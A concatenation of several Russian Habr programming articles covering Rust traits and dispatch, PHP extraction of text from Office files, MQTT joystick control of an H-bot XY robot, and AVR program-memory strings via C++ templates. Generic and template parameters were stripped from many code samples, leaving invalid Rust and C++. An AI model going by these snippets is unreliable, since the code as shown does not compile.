Ну и… это всё! Определение и реализация типажа — не более чем абстрагирование общего интерфейса, которому удовлетворяют несколько типов.
#### Статическая диспетчеризация
Всё становится интереснее с другой стороны — для пользователей типажей. Самый частый способ использования типажей — через использование типового параметризма:
```
fn print_hash(t: &T) {
println!("The hash is {}", t.hash())
}
```
Функция `print_hash` параметризована неизвестным типом `T`, но требует, чтобы этот тип реализовал типаж `Hash`. Что означает, что мы можем использовать её для значений типов `bool` и `i64`:
```
print_hash(&true); // instantiates T = bool
print_hash(&12_i64); // instantiates T = i64
```
**Параметризованные типами функции после компиляции разворачиваются в конкретные реализации, в результате получаем статическую диспетчеризацию.** Здесь, как и с шаблонами C++, компилятор сгенерирует две копии функции `print_hash`: по версии для каждого используемого вместо типового аргумента типа. В свою очередь, это означает, что внутренний вызов к `t.hash()` — то место, где используется абстракция — имеет нулевую стоимость, так как он будет скомпилирован в прямой статический вызов к соответствующей реализации метода `hash`:
```
// The compiled code:
__print_hash_bool(&true); // invoke specialized bool version directly
__print_hash_i64(&12_i64); // invoke specialized i64 version directly
```
Такая модель компиляции не очень полезна для функции вроде `print_hash`, но весьма удобна для более реалистического использования хеширования. Предположим, что у нас так же есть типаж для сравнение на равенство:
```
trait Eq {
fn eq(&self, other: &Self) -> bool;
}
```
(Тип `Self` здесь будет заменён на тип, для которого реализован данный типаж; в случае `impl Eq for bool` он будет соответствовать типу `bool`.)
Мы можем определить тип-словарь, параметризованный типом `T`, для которого должны быть реализованы типажи `Eq` и `Hash`:
```
struct HashMap { ... }
```
Тогда модель статической компиляции для параметрических типов даст несколько преимуществ:
Каждое использование `HashMap` с конкретными типами `Key` и `Value` приведёт к созданию отдельного конкретного типа `HashMap`, что означает, что HashMap может содержать ключи и значения непосредственно в своих бакетах, без использования косвенной адресации. А это экономит место, уменьшает количество разименований указателей и позволяет более полно использовать память кеша.
Каждый метод `HashMap` также скомпилируется в специализированный для заданных типов код. Так что нет дополнительных расходов на диспетчеризацию при вызовах методов `hash` и `eq`. Это так же означает, что оптимизатор сможет работать с полностью конкретным кодом — то есть с точки зрения оптимизатора абстракций нет. В частности статическая диспетчеризация позволяет инлайнить параметризованные типами методы.
Вместе с тем, как и в случае шаблонов C++, эти свойства параметрических типов означают, что вы можете писать достаточно высокоуровневые абстракции, которые компилируются в полностью конкретный машинный код, «закодированный наилучшим образом».
**Однако, в отличие от шаблонов C++, использование типажей полностью проверяется на корректность типов.** То есть когда вы компилируете `HashMap` сам по себе, его код проверяется на типы только один раз, на корректное использование абстрактных типажей `Hash` и `Eq`, а не каждый раз при применении конкретных типов. Что означает как более ясные и ранние ошибки компиляции для авторов библиотек, так и меньшие затраты на проверку типов для пользователей языка (читать «более быстрая компиляция»).
#### Динамическая диспетчеризация
Мы увидели одну модель компиляции типажей, когда все абстракции разрешаются статически при компиляции. Но иногда абстракции не только нужны для повторного использования кода или модульности, **иногда абстракции играют важную роль во время выполнения программы и не могут быть убраны при компиляции.**
Например, GUI фреймворки часто используют колбеки для реакции на события, вроде клика мышкой:
```
trait ClickCallback {
fn on_click(&self, x: i64, y: i64);
}
```
Для элементов GUI часто характерна поддержка регистрации нескольких колбеков для одного события. С помощью параметрических типов вы могли бы написать что-то такое:
```
struct Button {
listeners: Vec,
...
}
```
Но тут возникает очевидная проблема: каждая кнопка будет специализирована только для одного типа, реализующего `ClickCallback`, и это отражается на конкретном типе кнопки. Это совсем не то, что нам нужно! Мы хотим один конкретный тип кнопки `Button` с набором разнородных получателей события, каждый из которых может быть произвольного конкретного типа, который реализует типаж `ClickCallback`.
Одна из сложностей при этом состоит в том, что мы имеем дело с группой разнородных типов, каждый из которых может иметь разный размер. Так как же нам их расположить в векторе? Решение стандартно: с помощью косвенной адресации. Мы сохраним в векторе указатели на колбеки.
```
struct Button {
listeners: Vec>,
...
}
```
Здесь мы используем типаж так, как будто это тип. Вообще-то в расте [типажи — это «безразмерные» типы](http://smallcultfollowing.com/babysteps/blog/2014/01/05/dst-take-5/), что примерно означает, что их можно использовать только через указатели, например с помощью `Box` (указатель на кучу) или `&` (любой указатель куда угодно).
В расте тип `&ClickCallback` или ``Box называется «объект-типаж» и включает в себя указатель на экземпляр типа T`, который реализует заданный типаж (`ClickCallback`), и указатель на таблицу виртуальных методов с указателями на все методы типажа, реализованные для типа `T` (в нашем случае только метод `on_click`). Этой информации достаточно, чтобы корректно определить вызываемый метод во время выполнения программы, при этом сохранить единое представление для всех возможных `T`. Так что тип `Button` будет скомпилирован только один раз, а абстракции будут существовать и во время выполнения.
Статическая и динамическая диспетчеризация — дополняющие друг друга инструменты, каждый из которых подходит для своих случаев. **Типажи в расте дают единую простую систему интерфейсов, которая может быть использована в обоих случаях с минимальной предсказуемой ценой.** Объекты-типажи удовлетворяют принципу Страуструпа «плати по необходимости»: у вас есть таблицы виртуальных методов тогда, когда они нужны, но тот же самый типаж может быть статически развёрнут и убран во время компиляции, когда эта сложность не нужна.
#### Множество способов использовать типажи
Мы увидели то, как могут работать типажи, и их основные способы применения, но они играют и другие важные роли в расте. Несколько примеров:
* **Замыкания.** Как и типаж `ClickCallback`, замыкания в расте просто отдельные типажи. Подробнее о том, как они устроены, можно почитать в блоге Хуона Вилсона (Huon Wilson) в [этом подробном посте](http://huonw.github.io/blog/2015/05/finding-closure-in-rust/).
* **Условные API.** Параметрические типы дают возможность реализовать типажи по условию:
```
struct Pair { first: A, second: B }
impl Hash for Pair {
fn hash(&self) -> u64 {
self.first.hash() ^ self.second.hash()
}
}
```
Здесь тип `Pair` реализует типаж `Hash` тогда, и только тогда, когда его компоненты тоже реализуют этот типаж. Это позволяет использовать один и тот же тип в разных контекстах, при этом поддерживая наиболее широкое API, возможное в каждом контексте. Это настолько обычный для раста подход, что есть даже поддержка для автоматического создания некоторых типажей:
```
#[derive(Hash)]
struct Pair { .. }
```
* **Дополнительные методы.** Можно использовать типажи для добавления новых методов к существующим типам (которые определены в других местах), подобно расширенным методам (extension methods) в C#. Это свойство происходит напрямую из правил видимости методов типажа: просто добавляете новые методы в типаж, реализуете этот типаж для нужного типа, и всё, методы готовы к использованию!
* **Маркеры.** В расте есть несколько «маркеров», которые классифицируют типы: `Send`, `Sync`, `Copy`, `Sized`. Эти маркеры — просто типажи с пустыми телами, которые затем могут быть использованы как в параметрических типах, так и в типажах-объектах. Маркеры могут быть определены в библиотеках, и для них автоматически доступны реализации с помощью `#[derive]`. Например, если все компоненты типа реализуют `Send`, то и сам тип может автоматически реализовать `Send`. Как мы видели раньше, маркеры могут быть очень полезными — с помощью того же маркера `Send` раст гарантирует потокобезопасность.
* **Перегрузка методов.** Раст не поддерживает традиционную перегрузку методов, когда один и тот же метод может быть объявлен с разными сигнатурами. Но типажи дают те же преимущества, что и перегрузка: если метод объявлен с типовым параметром, реализующим какой-либо типаж, его можно вызвать с аргументом любого типа, который реализует этот типаж. По сравнению с традиционной перегрузкой методов, у этого подхода есть два преимущества. Во-первых, перегрузка менее [ad hoc](http://dl.acm.org/citation.cfm?id=75283): как только вы поймёте требуемые типажи, вы сразу же поймёте и способ перегрузки любого API, который их использует. Во-вторых, этот подход очень гибкий: вы можете добавить новые варианты перегрузки методов, просто реализовав нужные типажи для своих типов.
* **Перегрузка операторов.** Раст позволяет перегружать операторы вроде `+` для ваших собственных типов. Каждый оператор определяется соответствующим типажом из стандартной библиотеки, и любой тип, реализующий такой типаж, автоматически будет поддерживать и заданные операторы.
Основная мысль: **не смотря на кажущуюся простоту, типажи объединяют в себе множество шаблонов проектирования и способов использования, при этом не добавляя в язык никаких дополнительных фич.**
#### Будущее
Один из основных путей эволюции языка — через существующие в нём абстракции, и раст — не исключение: многие из наших [приоритетов после версии 1.0](http://internals.rust-lang.org/t/priorities-after-1-0/1901) включают расширение системы типажей тем или иным способом. Вот некоторые примеры:
* **Статическая диспетчеризация по выходным типам.** Сейчас можно использовать типовые параметры для входных аргументов методов, но не для выходного типа: нельзя сказать «эта функция возвращает значение какого-то типа, реализующего типаж `Iterator`», и при этом получить развёртывание абстракции во время компиляции. Это особенно становится проблемой, когда вы хотите вернуть замыкание, и получить для него статическую диспетчеризацию. Это невозможно в современном расте. Мы хотим сделать это возможным, и у нас [уже есть некоторые идеи по этому поводу](https://github.com/rust-lang/rfcs/pull/105).
* **Специализация.** Раст не позволяет перекрываться реализациям типажей, так что двусмысленности по поводу вызываемого метода не возникает. С другой стороны, есть некоторые случаи, когда вы можете написать более общую реализацию, покрывающую множество типов, но потом захотеть сделать более конкретную реализацию для некоторых случаев (что часто требуется, например, при оптимизациях). Мы надеемся, что сможем предложить способы реализовать такое поведение в ближайшем будущем.
* **Типы высшего порядка** (ТВП, Higher-kinded types, HKT). Типажи сейчас могут быть применены только к типам, а не конструкторам типов (то есть для ``Vec реализовать типаж можно, а просто для Vec` — нет). Это ограничение делает очень сложным предоставить хороший набор типажей для контейнеров, которые поэтому и отсутствуют в стандартной библиотеке. ТВП — очень большая и важная фича, которая даст огромный толчок к развитию абстракций в расте.`
**Эффективное повторное использование кода.** Наконец, хотя типажи предоставляют механизмы для переиспользования кода (что не было упомянуто с этом посте), всё ещё есть подходы к повторному использованию, для которых не вполне подходят средства нынешнего раста, в частности объектно-ориентированные структуры (типа DOM), GUI-фреймворки, многие игры. Поиск подходов к этим проблемам без лишнего дублирования средств и увеличения сложности — довольно интересная проблема проектирования, про которую Нико Матсакис (Niko Matsakis) начал писать [отдельную серию постов в своём блоге](http://smallcultfollowing.com/babysteps/blog/2015/05/05/where-rusts-enum-shines/). Всё ещё не до конца ясно, можно ли сделать всё это с помощью типажей, или требуются какие-то новые ингредиенты.
Конечно, мы ещё только подходим к релизу 1.0, и потребуется какое-те время, пока не осядет пыль, а сообщество накопит достаточно опыта, чтобы начать добавлять все эти расширения в язык. Но именно поэтому сейчас замечательное время присоединиться к разработке — начиная с участия в проектировании языка на этом раннем этапе, работе по реализации всех этих фич, и вплоть до испытания различных подходов в своём собственном коде. Мы будем рады вашей помощи!` | https://habr.com/ru/post/257775/ | null | ru | null |
# разбираем файлы MS-office
Недавно передо мной была поставлена задача: вытащить некую информацию из файлов MS-office (.xls, .doc) для ее последующей обработки. По факту, нужно было вытащить текст, содержащийся в документе.
Для .xls быстро нашелся проект [PhpExcelReader](http://sourceforge.net/projects/phpexcelreader), и тут больше нечего сказать — смотрите код, гуглите, а я разве только могу дать несколько строк кода — в помощь:
> `$reader = new Spreadsheet\_Excel\_Reader();
>
> $reader->setUTFEncoder('iconv');
>
> $reader->setOutputEncoding('UTF-8');
>
> $reader->read($this->filename);
>
>
>
> $text = "";
>
>
>
> if ($reader->sheets && count($reader->sheets))
>
> {
>
> $sheet = $reader->sheets[0];
>
>
>
> if (isset($sheet['cells']))
>
> {
>
> foreach ($sheet['cells'] as $row)
>
> {
>
> $text .= implode(' ', $row) . "\n";
>
> }
>
> }
>
> }
>
> echo $text;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Несколько сложнее поначалу оказалось с .doc'ами: мне просто не удалось найти бесплатного парсера на PHP, который бы не использовал COM (платных тоже как-то не попалось, но я все же искал именно бесплатный; кстати, если хабралюди знают о существовании такого проекта — милости прошу откомментировать).
Я уже совсем было отчаялся, когда вдруг решил посмотреть на .doc-файл с помощью консольной утилиты less. less пожаловалась на то, что "*catdoc is not installed*", я воспрял духом, набрал *sudo apt-get install catdoc* — и вуаля — в моих руках консольный просмотрщик вордовских документов. После этого осталось только написать:
> `/\*\*
>
> \* @note catdoc program should be installed and reside within $PATH!
>
> \*/
>
> echo shell\_exec('catdoc ' . escapeshellarg($this->filename));
>
>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/45375/ | null | ru | null |
# XY-робот с удалённым управлением
[](https://habr.com/ru/company/ruvds/blog/712068/)*Картинка [3dtoday.ru](https://3dtoday.ru/blogs/br3dlab/sborka-kinematiki-h-bot-i-corexy)*
Некоторое время назад, автору этой статьи пришла в голову своеобразная мысль: а что если сделать удалённо-управляемый манипулятор, который может перемещаться по XY и совершать некую полезную работу?
Сказано — сделано, и работа закипела… В качестве основы для подобного манипулятора было решено взять широко известный принцип кинематики H-bot.
Сразу следует оговориться, что сам выбор подобной тематики для проработки, был осуществлён автором не случайно, так как уже упоминалось в предыдущих статьях, автор имеет ярко выраженную склонность к «выведению виртуала — в реал» и исключительно виртуальные вещи, вращающиеся где-то там далеко за экраном, не так интересны для автора.
В качестве ещё одного допущения, как следует относиться ко всему последующему тексту, следует отметить, что его нужно воспринимать больше как принцип (по управлению H-bot манипулятором), который можно реализовать на базе любой платформы, любого языка или любым иным способом, а не только описанным здесь. Тем не менее в самом конце статьи автор приложил свою реализацию концепции подобного управления, которую вы можете взять и использовать.
Использование подобной кинематики для управления человеком автором ещё нигде не наблюдалось (что, тем не менее, не исключает её наличия где-либо :-)) )
В каком статусе находится подобная разработка в данный момент: практически реализована, однако, до момента окончательного запуска её, не будем о ней более подробно распространяться. Для чего она будет использована: для игры в настольный хоккей или футбол, в одной из школ. Для системы практически полностью напечатаны компоненты с использованием 3D принтера, а также она практически собрана (после ряда предварительных тестов).
Для чего ещё может быть применена подобная система: например, на той же стройке, для перемещения грузов в пределах строительной площадки и т.д.
Однако перейдём ближе к делу…
Существует целый ряд возможных кинематических решений, для перемещения целевой каретки в пределах координатной системы XY. Тем не менее автору приглянулась решение, носящее название H-bot:
Несмотря на ряд его недостатков, в числе которых возможность перекосов при движении, и ввиду этого, строгие требования к отсутствию люфтов, — автору подобное решение показалось достаточно простым и лаконичным, так как те же самые перекосы (при их возникновении), — вполне можно решать (программным или программно-аппаратным) путём.
А теперь попробуем прикинуть, каким образом можно было бы управлять подобным робототехническим приводом? Так как автор периодически возвращается в мыслях к идее стартапа, дающего возможность удалённого управления большими промышленными механизмами (например, экскаваторами, грейдерами и т.д. и т. п.), к примеру, чтобы сотрудники из одного региона, могли удалённо управлять устройствами, устроившись виртуально на работу в другом регионе («Скайнет» всё ближе, хе-хе), то, все технологии, которые могут облегчить реализации подобной затеи, вызывают повышенный интерес.
Здесь, конечно, возможно великое множество различных способов удалённого контроля, однако одним из наиболее простых и доступных (несмотря на то, что многие автора уверяли в том, что будет очень большой временной лаг и в реальном времени это будет невозможно, — эксперименты показали, что это не так) — является управление с использованием протокола MQTT.
Судя по информации, которую предоставляет один из известных MQTT-брокеров, среди его клиентов имеются известные компании, бренды которых у всех на слуху, не гнушающиеся использованием подобного протокола и этого брокера, для управления промышленными роботами в цеху. Соответственно, сделаем вывод, что и для нас это не грех.
Хотя одним из наиболее простых способов является управлением с помощью дискретных кнопок, автору захотелось реализовать более плавное управление, а здесь уже просится использование джойстика с отклоняемым стиком.
Долгий опыт работы со стиками, подобными показанному ниже, убедили автора в том, что чудес не бывает и любая механика рано или поздно изнашивается и начинает ощутимо «шуметь»:
Поэтому был выбран условно более надёжный способ, который заключается в использовании виртуального джойстика. Поверхностный анализ существующих решений выдал интересный вариант, который [можно скачать с Google Play](https://play.google.com/store/apps/details?id=mqtt_controller.application):
Конечно, джойстик нельзя назвать совершенным, так как, по сути, он содержит только два стика, а желательно, чтобы были ещё какие-либо функциональные кнопки, но, для описания концепции вполне годится (в любом случае при наличии интереса, вы сможете легко реализовать собственный джойстик, с собственным функционалом, либо скачать один из уже готовых вариантов, и управлять, используя другой протокол, как вариант).
Джойстик подключается к брокеру, и любое перемещение каждого из стиков вызывает передачу в нужный топик брокера двух цифр разделённых пробелом. Например, для левого стика, передаваемые цифры вы можете увидеть в верхней левой части джойстика, а для правого, соответственно, в правой верхней части.
Например, на принтскрине ниже показано, как меняются цифры, для левого джойстика, если нажать на его центральную зону и перетащить этот шарик куда-либо. Первая цифра показывает, соответственно, угол наклона стика, а вторая цифра показывает степень дальности шарика от центра стика. Другими словами, первая цифра показывает, «в каком направлении мы едем», а вторая цифра показывает «с какой скоростью мы едем»:
Если мы ещё раз обратимся к логике кинематики H-bot, то мы увидим, что в составе подобной схемы, из механики используются два двигателя. Так как человечество ещё ничего принципиально более нового и совершенного не изобрело для управления двигателями, кроме ШИМ-контроля (хотя, учитывая технический прогресс, автор уже ни в чём не уверен :-)) ), то и мы будем использовать этот же подход.
Разрешение ШИМ-сигнала будем использовать восьмибитное, то есть, другими словами, дающее 256 градаций значения скорости. Теоретически можно было бы использовать и большее разрешение, но в дальнейшем могут возникнуть проблемы с его реализацией (с аппаратной поддержкой), да и к тому же — подобное разрешение видится вполне достаточным (спорно, согласен).
Теперь, с учётом всего вышеизложенного, а также после того как мы ознакомились с логикой H-bot, попробуем нанести на круговую схему, — как направления вращения двигателей, так и требуемые для этого углы.
На картинке двумя разными цветами показаны два двигателя и направление их вращения для реализации упомянутой выше кинематики. Символ в виде горизонтальной линии показывает, что двигатель в этот момент не работает. Также можно заметить, что отмечены только восемь углов. Однако, это совершенно не значит, что двигатели имеют скачкообразные изменения скорости только при этих значениях. Скорость двигателя может плавно расти или увеличиваться в определённом интервале.
Например, если мы обратимся к интервалу 0-45° (в финальной программе интервал 0-44° и т.д., то есть, на одно значение меньше в каждом интервале), то можно увидеть, например, что в этом интервале скорость правого двигателя плавно убавляется и, с 45° и вплоть до 89°- скорость правого двигателя плавно нарастает, инвертированная по направлению в другую сторону.
Цифры внутри круга показывают, какое цифровое значение ШИМ-управления вращения двигателя является максимальным, а какое минимальным. Не забываем, что при инвертировании направления вращения меняется также и диапазон чисел. Например, если мы обратимся к интервалу от 0 до 45° (на картинке выше), то там можно увидеть, что для правого двигателя минимальным значением является 0, а максимальным 255.
Однако, если мы обратимся опять же к правому двигателю, в интервале от 45 до 90°, мы заметим, что для него диапазон значений ШИМ инвертировался также в противоположную сторону, и для него теперь в этом положении максимальным значением становится 0, а минимальным 255 и т.д.
Теперь, когда у нас есть понимание работы всей системы в целом, мы можем реализовать изложенные идеи в программном коде. Одним из наиболее простых способов видится использование C++ и её функции map, которая позволяет пропорционально перенести значение из одного диапазона в другой, так как нам требуется перевести угол наклона и силу «газа» в конкретные значения ШИМ целевого двигателя.
Синтаксис функции [выглядит](https://arduino.ru/Reference/Map) следующим образом:
```
map(value, fromLow, fromHigh, toLow, toHigh)
value: значение для переноса
fromLow: нижняя граница текущего диапазона
fromHigh: верхняя граница текущего диапазона
toLow: нижняя граница нового диапазона, в который переносится значение
toHigh: верхняя граница нового диапазона
```
Как можно было заметить по картинке намного выше, на каждом из диапазонов углов, скорость одного из двигателей является постоянной, а скорость другого двигателя изменяется. Таким образом, напрашивается управление скоростью одного двигателя с использованием степени удаления пальца от центра джойстика, а скоростью другого двигателя — углом наклона (дополнительную корректировку скорости одного из двигателей, скорость которого зависит от угла наклона — ещё и установить в зависимость от удалённости пальца от центра решил не делать, так как будет слегка заморочено, и даже существующая схема вполне должна работать).
Таким образом, с учётом всего вышеизложенного, функция, управляющая скоростями двигателей, будет выглядеть следующим образом:
**Код управления двигателями**
```
void Motors_Control (int ugol,int PWM)
{
if (PWM != 0)
{
if (ugol != ugol_current)
{
//записали текущее значение угла
//для чего это надо: будем теперь менять скорость,
//только если пришла новая цифра значения угла - которая отличается
//от текущего(т.к. с брокера приходит непрерывная череда цифр,
//которые могут быть одинаковыми, если вы удерживаете джойстик в одном
//положении, нам надо реагировать только на отличающиеся):
ugol_current = ugol;
//
if ( (ugol>=0)&&(ugol<=44) )
{
//вычисляем скорость левого двигателя
int left_motor_PWM = map(PWM, 0, 100, PWM_min, PWM_max);
//вычисляем скорость правого двигателя
//тут 0-мин.скорость, 255- макс.скорость
int right_motor_PWM = map(ugol, 0, 44, PWM_max, PWM_min) ;
Left_Motor (false, left_motor_PWM);
Right_Motor (false, right_motor_PWM);
}
else if ( (ugol>=45)&&(ugol<=89) )
{
//вычисляем скорость левого двигателя
int left_motor_PWM = map(PWM, 0, 100, PWM_min, PWM_max);
//вычисляем скорость правого двигателя
//тут 255-мин.скорость, 0- макс.скорость
int right_motor_PWM = map(ugol, 45, 89, PWM_max, PWM_min);
Left_Motor (false, left_motor_PWM);
Right_Motor (true, right_motor_PWM);
}
else if ( (ugol>=90)&&(ugol<=134) )
{
//вычисляем скорость правого двигателя
int right_motor_PWM = map(PWM, 0, 100, PWM_max, PWM_min);
//вычисляем скорость левого двигателя
//тут 0-мин.скорость, 255- макс.скорость
int left_motor_PWM = map(ugol, 90, 134, PWM_min, PWM_max);
Left_Motor (false, left_motor_PWM);
Right_Motor (true, right_motor_PWM);
}
else if ( (ugol>=135)&&(ugol<=179) )
{
//вычисляем скорость правого двигателя
int right_motor_PWM = map(PWM, 0, 100, PWM_max, PWM_min);
//вычисляем скорость левого двигателя
//тут 255-мин.скорость, 0- макс.скорость
int left_motor_PWM = map(ugol, 135, 179, PWM_max, PWM_min);
Left_Motor (true, left_motor_PWM);
Right_Motor (true, right_motor_PWM);
}
else if ( (ugol>=180)&&(ugol<=224) )
{
//вычисляем скорость левого двигателя
int left_motor_PWM = map(PWM, 0, 100, PWM_max, PWM_min);
//вычисляем скорость правого двигателя
//тут 255-мин.скорость, 0- макс.скорость
int right_motor_PWM = map(ugol, 180, 224, PWM_max, PWM_min);
Left_Motor (true, left_motor_PWM);
Right_Motor (true, right_motor_PWM);
}
else if ( (ugol>=225)&&(ugol<=269) )
{
//вычисляем скорость левого двигателя
int left_motor_PWM = map(PWM, 0, 100, PWM_max, PWM_min);
//вычисляем скорость правого двигателя
//тут 0-мин.скорость, 255- макс.скорость
int right_motor_PWM = map(ugol, 225, 269, PWM_min, PWM_max);
Left_Motor (true, left_motor_PWM);
Right_Motor (false, right_motor_PWM);
}
else if ( (ugol>=270)&&(ugol<=314) )
{
//вычисляем скорость правого двигателя
int right_motor_PWM = map(PWM, 0, 100, PWM_min, PWM_max);
//вычисляем скорость левого двигателя
//тут 255-мин.скорость, 0- макс.скорость
int left_motor_PWM = map(ugol, 270, 314, PWM_max, PWM_min);
Left_Motor (true, left_motor_PWM);
Right_Motor (false, right_motor_PWM);
}
else if ( (ugol>=315)&&(ugol<=359) )
{
//вычисляем скорость правого двигателя
int right_motor_PWM = map(PWM, 0, 100, PWM_min, PWM_max);
//вычисляем скорость левого двигателя
//тут 0-мин.скорость, 255- макс.скорость
int left_motor_PWM = map(ugol, 315, 359, PWM_min, PWM_max);
Left_Motor (false, left_motor_PWM);
Right_Motor (false, right_motor_PWM);
}
}
}
else
{
Stop ();
}
}
```
В коде выше: PWM\_min = 0; PWM\_max = 255; true или false — передающиеся в подфункции, непосредственно связанные с двигателями — управляют прямым или обратным направлением вращения.
В свою очередь, эта функция будет вызываться внутри другой, которая будет осуществлять первичный парсинг сообщения, полученного в виде строки с брокера, и выдёргивать из неё две требующиеся цифры:
**Парсер сообщения с брокера**
```
void Motors (char* topic, char ch [])
{
//строка, куда мы записали название топика,
//которое ниже будем анализировать
String s = topic;
//преобразовали массив символов - в строку
String s2 = String(ch);
// Serial.println (s2);
//Выдернули из строки только её кусок - с первой цифрой,
//для этого - нашли, на какой позиции (т.е. номер) стоит пробел в этой строке
String s3 = s2.substring (0, s2.indexOf(" "));
//Преобразовали выдернутый кусок строки - в число
//(т.к. компьютер понимает пока этот кусок как строку,
//он не знает что это число. Ему надо явно "пальцем показать")
int ugol = s3.toInt();
// Serial.println (motor_direction);
//Выдернули из строки только её кусок - со второй цифрой,
//для этого - нашли, на какой позиции (т.е. номер) стоит пробел в этой строке
String s4 = s2.substring (s2.indexOf(" "), s2.length());
//Преобразовали выдернутый кусок строки - в число
//(т.к. компьютер понимает пока этот кусок как строку,
//он не знает что это число. Ему надо явно "пальцем показать")
int motor_PWM = s4.toInt();
// Serial.println (motor_PWM);
// Serial.println ( motor_direction );
//теперь у нас есть 2 выдернутые цифры
//и теперь мы вызываем функцию, которая запустит двигатели нужным образом
//(и в эту функцию мы передаём полученные 2 цифры):
Motors_Control (ugol, motor_PWM);
}
```
Таким образом, на выходе получится достаточно интересная вещь, позволяющая с джойстика управлять искомым манипулятором типа H-bot.
Полный код подобного управления для манипулятора, реализации автора, [можно скачать здесь](https://drive.google.com/file/d/1F5wcIaLEM-CvVLEmm2zRe7PUXcHNF3Te/view?usp=sharing).
Если хорошо подумать, для подобного манипулятора может быть найдено множество полезных применений:
* переноска тяжестей в пределах строительной площадки;
* рисование картин на больших высотах, художником, стоящим на земле;
* оштукатуривание и подкраска участков стен на больших высотах;
* настольная игра (в данный момент реализуется автором);
* и так далее.
По крайней мере, использование такого манипулятора подобным неожиданным образом, а не только в 3D-принтерах/ЧПУ-станках видится достаточно любопытным…
В версии автора статьи к каретке будет ещё прикреплён сервопривод, на конце которого будет находиться двигатель с крыльчаткой, наносящей удар по мячу:
Как альтернатива этому – установить бьющий соленоид, и сделать из всей этой истории – бильярд :-).
Соответственно, код будет тоже доработан под эти элементы в будущем.
> **[Играй в нашу новую игру прямо в Telegram!](https://t.me/ruvds_community/130)**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=DAN_SEA&utm_content=distancionno-upravlyaemyj_xy-manipulyator_na_baze_kinematiki_h-bot) | https://habr.com/ru/post/713492/ | null | ru | null |
# Строки в кодовой памяти AVR
В нашей компании мы пишем программы для контроллеров серии AVR. В этой статье хочу описать как мы создаем строки, расположенные в кодовой памяти.
Изначально требовалось, чтобы следующий код не выдавал ошибок, а в итоге получили гораздо более мощный инструмент, чем предполагали.
```
const char *pStr = PSTR("Hello"); // В этом месте ошибка.
// error: statement-expressions are not allowed outside functions nor in template-argument lists
int main() {…}
```
**Те, кто не в курсе проблемы работы с памятью в микроконтроллерах серии AVR могут посмотреть спойлер**В контроллерах AVR используется два независимых адресных пространства:
* для кода,
* для оперативной памяти и регистров.
Компилятор GCC использует двухбайтовый указатель, что предоставляет доступ к первым 64К кодовой памяти (остальная может быть использована только для инструкций) или ко всей ОЗУ.
Но узнать по указателю в какой памяти располагается переменная нет возможности. Из-за этого в библиотеке avr-gcc появились отдельные функции для работы с кодовой памятью и строками, которые в ней расположенны. Они маркируются суффиксом “\_P” в конце имени функции. Например strcpy\_P – аналог функции strcpy, принимающий указатель на строку в кодовой памяти.
К сожалению, компилятор не может проверить где будет использоваться переменная и разместить ее там, а следовательно программисту требуется позаботиться об этом самому. Соответственно, появилась необходимость маркировки переменных, расположенных в кодовой памяти ключевым словом PROGMEM, чтобы явно указать что мы намерены работать с кодом.
Это, однако, не отменяет необходимости программисту следить за правильностью пользования переменных.
Больше всего неудобств нам доставляли строки. Строковые литералы являются объектами, расположенными в оперативной памяти, а значит занимают и оперативную память, и кодовую (надо же откуда-то брать значения для инициализации). Опять же они не подходят для работы с функциями, работающими с кодовой памятью. Например:
```
int main() {
char dest[20];
strcpy_P(dest, "Hello world!");
}
```
Этот код приведет к неопределенным последствиям, так как будет брать данные из кодовой памяти, расположенной по тому же адресу, что и строка “Hello world!” в оперативной памяти.
Для этих случаев в библиотеке avr был предусмотрен макрос PSTR(текст), возвращающий указатель на строку, расположенную в кодовой памяти.
```
int main() {
char dest[20];
strcpy_P(dest, PSTR("Hello world!"));
}
```
Теперь этот код работает и даже не занимает оперативную память. Но стоит вынести этот макрос за пределы какой-либо функции, он перестает работать.
```
const char *pStr = PSTR("Hello"); // В этом месте ошибка.
// error: statement-expressions are not allowed outside functions nor in template-argument lists
int main() {…}
```
Приходилось писать примерно такой код:
```
extern const char PROGMEM caption1[];
const char caption1[] = "Hello";
const char *pStr = caption1;
```
Это надуманный пример, но представим, что вместо pStr у нас инициализируется какая-то пользовательская структура, ожидающая указатель на строку.
В первую очередь это было необходимо для инициализации структуры меню. Вся инициализация должна была проводиться статически, на этапе компиляции.
Поэтому мы стали искать надежный способ для получения указателя на строку в кодовой памяти. В этом нам помогли шаблонные классы. Для шаблонного класса можно создать статическую переменную, располагающуюся в кодовой памяти и получить указатель на нее.
```
template
struct ProgmemChar {
static const char PROGMEM v;
};
template
const char ProgmemChar::v = value;
const char \*pChar = &(ProgmemChar<'a'>::v);
```
Но строку не передашь параметром в шаблон. Поэтому мы решили разбить строку на символы. Как мы разбиваем строку на символы я покажу дальше, а пока покажу простой пример строки в кодовой памяти:
```
template
struct ProgmemString {
static const char PROGMEM v[5];
};
template
const char ProgmemString::v[5] = {ch1, ch2, ch3, ch4, ch5};
const char \*pStr = ProgmemString<'a', 'b', 'c', 'd', 0>::v;
```
Данный пример работает для строк, имеющих размер ровно 4 символа и завершающий 0 в конце. Причем строка ProgmemString<'a', 0, 0, 0, 0> тоже будет занимать 5 байт.
Для решения этой проблемы мы использовали частичную специализацию шаблонного класса, добавив в шаблон еще размер строки. Вот базовый шаблонный класс:
```
templatestruct \_Pstr;
```
Теперь вернемся к проблеме разбиения строки на символы. Если честно, то для нас это до сих пор проблема, так как мы не смогли придумать пока ничего лучше, чем написать макрос, который N раз возьмет i-ый (от 0 до N-1) символ из исходной строки.
```
#define SPLIT_TO_CHAR_4(STR) STR[0], STR[1], STR[2], STR[3]
```
Этот макрос разбивает строку, в которой должно быть не меньше четырех символов, на символы. В данном случае N = 4.
Если подглядеть на код после препроцессора, то мы бы увидели следующий код:
```
"Hello world!"[0], "Hello world!"[1], "Hello world!"[2], "Hello world!"[3]
```
Согласен, что это длинный текст, но мы с этим смирились. Тем более, что сам компилятор уже выдает только четыре символа.
Более важной проблемой было взятие символа с большим индексом. Для большого N (а мы хотим чтобы все наши строки были короче N), обязательно будет случай, когда мы захотим взять символ за пределами строки, что приведет к ошибке компиляции.
Первым рабочим вариантом был следующий способ:
1. Добавляем к исходной строке строку, состоящую из символа '\0' и имеющую длину N символов. Добавление осуществлялось так: #define ADD\_STR(STR) STR "\0\0\…\0".
2. Проводим операцию SPLIT\_TO\_CHAR над получившейся строкой.
Этот способ работает, но гарантированно увеличивает код после препроцессора на N\*N символов. В итоге мы быстро получаем предел компилятора.
